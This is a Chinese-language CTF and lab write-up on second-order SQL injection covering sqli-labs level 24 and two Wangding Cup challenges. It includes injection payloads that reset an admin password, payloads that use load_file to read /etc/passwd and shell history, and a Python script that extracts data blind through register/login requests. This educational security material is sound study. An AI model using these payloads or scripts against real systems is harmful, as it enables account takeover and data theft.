二次注入
sql靶场第24关
二次注入我觉得是特别有意思,首先依然是查看页面
可以看出来这一关十分的丰富,可以注册,修改和登录,那我们先试着注册一个用户吧
这一套下来之后,我登录成功后可以改密码。
我们思考一下,每一个系统都应该有普通用户和管理员用户,管理员用户可以管理普通用户。我们现在是创建了一个普通用户,是没有权限查看其他用户的。但是管理员账户是可以查看其他用户的,如果我们能够得到管理员账户,那不就可以随意查看其他用户了吗?这就是这一关的目标,想办法弄到管理员账户。 一般管理员账户的用户名不是 admin就是root, 这里我就先拿admin试试。因为刚刚插入数据成功了,说明我们在新建用户的时候肯定是和后台数据库有交互的。
我们查看源代码看看到底是原理,那就按照刚刚的流程来看源代码,先是创建的源码,而查看后发现就是正常的创建。但是创建完成后有一个这个页面,我们看看这个的源码
很明显这个源码的这部分内容是当我们输入一个新用户的时候首先检查用户名有没有重名。
这条语句就是插入语句。虽然对我们输入的注入语句进行过滤,但也只是让特殊符号无效化,并没有给我们直接删除,这也造成了二次注入的漏洞。
接下来我们审计一下login的源码吧
这个页面就是我们的报错页面,当你输入注入点的时候就会出现这个页面,从这段代码可以看到,当我们输入一些数据的时候都会调用这个文件,而这个文件会对我们输入的数据进行过滤,使用 mysql_real_escape_string() 函数进行过滤,该函数的作用是转义 SQL 语句中使用的字符串中的特殊字符
接下来我们分析 pass_change.php 文件,也就是修改密码的后台文件:
从这段代码可以看到,在修改密码的时候对密码的输入框使用函数mysql_real_escape_string() 进行了过滤,但是对用户名却没有做任何过滤处理,直接就带入到后面的 Update 更新语句进行了更新,因为我们输入的用户名是 admin'# 当被带入到更新语句后实际执行的语句是:
后面的语句都被注释了,所以后台真正执行的语句是:
$sql = "UPDATE users SET PASSWORD='2' where username='admin';
这条语句的意思是更新用户 admin 的密码为2。这样我们就成功修改了管理员用户的密码。
很明显我们成功的修改了管理员的密码啦
接下来,完整的过程来一遍,就拿admin1账号来一遍
首先创建用户
接下来,登录
之后就是改密码
根据我上面的分析,我们最后就可以成功修改admin1的密码啦
证明我们二次注入成功啦。接下来我们实战两道ctf的二次注入题吧。
网鼎杯comment二次注入
查看页面
进入页面发现只有发帖,那我们是这发一个帖子,结果需要登录,看样子是只需要爆破后三位数字密码,那我们就用bp来解决这个问题吧。
由此可见,密码后三位是666。
登录后发帖结果
发现没有啥注入点,这个时候我们只能扫一下这个目录下还有啥文件,这里我使用dirmap扫的,发现在根目录下有个.git,
这里体现出来git泄露,我使用githacker进行文件恢复,得到源码。
//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
我们根据代码看到addslashes给每个参数都进行了处理,但是数据库存入数据时会自动过滤,将转义字符丢弃,也就是数据还是会原样进入到数据库中。write下边,所有可控制的值都被addslashes转义了。但是comment下边,它把category值重新选取出来,并且没有进行过滤就带入了sql语句。很明显,这就是我们要找的注入点。这里注入就一定要绕过单引号。而write是指发帖,comment指发送评论。
即使在write下单引号被转义。但是那个单引号再次被数据库选出来时,它又恢复了单引号的特殊含义。 现在category='1',content=database()。/*是php的注释符,将后边的引号注释掉。但是这么注释存在问题,我们构造了一个content,当然/*也要闭合掉一个content。
在留言那里闭合之后,爆出来了数据库名
*/#
同样的道理,爆使用权限
0',content=user(),/*
读取etc/passwd
0',content=(select(load_file("/etc/passwd"))),/*
存在www-data用户,那直接读取用户的命令执行历史
0',content=(select(load_file("/home/www/.bash_history"))),/*
根据这个历史命令看到的结果是最后把.DS_Store文件删除,并且重新启动了Apache2服务,那我们试着看看这个文件到底删除了吗
0',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
得到的这个是源码,解码后的结果
看到一个有趣的东西
flag_8946e1ff1ee3e40f.php
那我们看看这个下是什么吧
0',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
进过测试,这个flag是错误的,那我们只能是一下里一个目录下啦
0 ',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
成功拿下。
网鼎杯-2018-Web-Unfinish
查看页面
在只有这个登录界面的情况下,我猜想他应该有注册界面,但是由于我们不知道到底有没有,所以我们直接拿工具扫一下(我在这里用的是dirsearch扫的,但是如果在正式比赛中,哪有那么多时间给你扫,一般都是直接猜呢,毕竟注册的英文也就只有几个,这个方法比拿工具扫快多了)
进过扫描发现这个网站根目录下有着register.php页面,那么和我开始的想法不谋而合,所以其实猜也是值得一试的,那么我们就查看register.php页面吧
我们直接注册账号进去看看是个啥情况
注册好之后会自动跳转到登录页面,我们登进去发现我们的用户名出现在了界面上,那么这就很可能是登录之后用户名通过从数据库查询传到index.php页面,我感觉这有点符合二次注入的点了,因为界面只显示用户名,那么我们就只能在注册的时候考虑在用户名那里注入了
在register.php页面看了下源代码
尝试构建一下payload
#注册
insert into tables values('$email','$username','$password')
#payload
insert into tables values('$email','0' +(select ascii(database())) +'0','$password')
开始注入
0' +(select ascii(database())) +'0
我们发现是119,对应解出来就是“w”,看来我们已经注入成功了,那么就继续注入,
0'+(select ascii(substr (database(),2,1)))+'0
发现了有意思的东西,这不就代表有过滤吗,跟上一次注册语句发现多了一个逗号,很明显逗号被过滤了,但是我们现在不知道还有啥被过滤了,所以我使用burpsuite的暴力破解模块看还有什么被过滤啦,因为我用的只是针对我们需要用到的东西进行过滤,information库是为了方便我们后续注入表名、列名,sys是当information不能使用之后查表名、列名所要用到的库,这样可以花费很少的时间解出这道题。
很明显这道题过滤了“,”和“information”。既然知道过滤了什么,我就尝试着绕过这些过滤,很明显我们第二个payload中的“,”是最容易绕过的,以下是我的绕过
0'+(select ascii(substr(database()from 2 for 1)))+'0
尝试看可不可以绕过
结果显而易见,我们绕过了“,”,继续进行
0'+(select ascii(substr(database()from 3 for 1)))+'0
0'+(select ascii(substr(database()from 4 for 1)))+'0
很明显我们的数据库就是119,101,98啦,查看ascii表后,直接得出答案web因为我们的information被过滤啦,所以我们只能使用sys进行表名爆破
0'+(select ascii(substr(table_name from 1 for 1 )) from sys.x$schema_table_statistics limit 1)+'0
由于这个页面输入框有长度限制,所以我使用猜测的方法,我猜测表名为flag,接下来就是拿到flag啦,这里我用Python脚本来拿flag
import requests
from bs4 import BeautifulSoup
def select_database():
database = ""
for i in range(100):
data_register = {
"email": "%[email protected]" % (i),
"username": f"0'+(select ascii(substr(database()from {i + 1} for 1)))+'0",
"password": "%d" % (i)
}
register = requests.post(url="http://ea3d107a-e6fa-4fab-ae04-3ab45456f123.node5.buuoj.cn:81/register.php",
data=data_register)
data_login = {
"email": "%[email protected]" % (i),
"password": "%d" % (i)
}
login = requests.post(url="http://ea3d107a-e6fa-4fab-ae04-3ab45456f123.node5.buuoj.cn:81/login.php",
data=data_login)
html = login.text
soup = BeautifulSoup(html, 'html.parser')
getUsername = soup.find_all('span')[0]
username = getUsername.text
o = int(username)
if o == 0:
break
database += chr(int(username))
print(database)
return database
def select_flag():
flag = ""
for i in range(100):
data_register = {
"email": "%[email protected]" % (i),
"username": f"0'+ascii(substr((select * from flag) from {i + 1} for 1))+'0",
"password": "%d" % (i)
}
register = requests.post(url="http://ea3d107a-e6fa-4fab-ae04-3ab45456f123.node5.buuoj.cn:81/register.php",
data=data_register)
data_login = {
"email": "%[email protected]" % (i),
"password": "%d" % (i)
}
login = requests.post(url="http://ea3d107a-e6fa-4fab-ae04-3ab45456f123.node5.buuoj.cn:81/login.php",
data=data_login)
html = login.text
soup = BeautifulSoup(html, 'html.parser')
getUsername = soup.find_all('span')[0]
username = getUsername.text
o = int(username)
if o == 0:
break
flag += chr(int(username))
print(flag)
print(select_database())
print(select_flag())
结果
成功拿到flag
版权归原作者 稚锦 所有, 如有侵权,请联系我们删除。